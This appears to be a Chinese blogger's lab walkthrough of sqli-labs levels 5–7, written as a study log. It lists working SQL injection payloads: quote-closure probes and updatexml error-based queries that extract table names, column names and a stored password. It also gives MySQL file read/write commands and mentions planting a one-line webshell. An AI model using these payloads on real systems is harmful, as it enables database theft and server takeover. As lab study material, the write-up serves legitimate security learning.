去做了几道ctf题,发现自己还是太菜了,于是还是回来老老实实先把最基本的靶场打完吧
接下来就不写的那么详细了,贴图不会那么多了,只记录关键的代码,以及相关的知识点
Less5
-
看标题有以下几个关键词:get方法,双查询,单引号,字符型
-
接下来我们的目标就明确了
?id=1' #单引号报错,说明是单引号或者单引号加括号 ?id=1'--+ #正常,说明是单引号闭合 ?id=1' order by 3 --+ #有3列 ?id=-1' union select 1,2,3--+ #无回显 ?id=1' and length(database())>1--+ #可以利用布尔盲注,但是我实在是不想用,那个爆破着是真的慢 #我们试试报错注入 ?id=-1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+ #爆出数据库名:security ?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ #表名:emails,referers,uagents,users ?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+ #列名:id,username,password ?id=-1' or updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+
报错注入实在是没啥说的,连个过滤都没有
Less6
-
关键词:get方法,双查询,双引号,字符型
-
话不多说,直接上代码
?id=1" #双引号报错 ?id=1"--+ #正常,说明是双引号闭合 ?id=1" order by 3--+ #四列 ?id=1" union select 1,2,3--+ #无回显,试试报错注入 ?id=-1" or updatexml(1,concat(0x7e,database(),0x7e),1)--+ #得到数据库名:security #剩下的参考上面那一关吧,都一样,只不过是单引号变双引号
Less7
-
关键词:get方法,转储到输出文件,字符型
-
好家伙,终于碰见知识盲区了,我们先补充一波知识点再开始上代码(后来想起来之前学过这一块,sql注入文件读写,额,真是健忘啊我)
?id=1'))--+ #新奇操作,这个闭合方式竟然是')),第一次知道这种方式 ?id=-1')) or updatexml(1,concat(0x7e,database(),0x7e),1)--+ #联合查询不行,报错注入不行 ?id=1')) and length(database())>100--+ #布尔盲注貌似可以,但是我真的不想用布尔盲注,太慢了 #按照提示,文件读写吧
文件读取知识点补充:
文件读取基本条件:
当前用户权限对该文件可读。
文件在该服务器上。
路径完整。
文件大小小于max_sllowed_packet。
当前数据库用户有FILE权限,File_priv为yes
secure_file_priv的值为空,如果值为某目录,那么就只能对该目录的文件进行操作
select File_priv from mysql.user where user='root' and host='localhost' #实战中我们就可以根据这里来判断是否我们有读写权限show variables like 'max_allowed_packet' #查看可读写文件大小,My.ini配置文件中本没有max_allowed_packet这一项,可以通过添加来修改可读写文件大小My.ini配置文件中也没有secure_file_priv这一项,默认为不允许读写磁盘中任何未知的文件,也就是说默认值为NULL。这里的null不是空
关于/和\,读文件时只能用/,写文件时两者都可以
读文件:select load_file("D:\123.txt")
写文件:select "test" into outfile "D:\234.txt"
当我们知道了如何读写,接下来难点就是如何判断文件路径了
-
这一关实在是不会了,因为不知道网站绝对路径,即使写了木马上去,蚁剑也连接不了,因为没有url,正常思路就是写文件,写一句话木马,然后蚁剑连接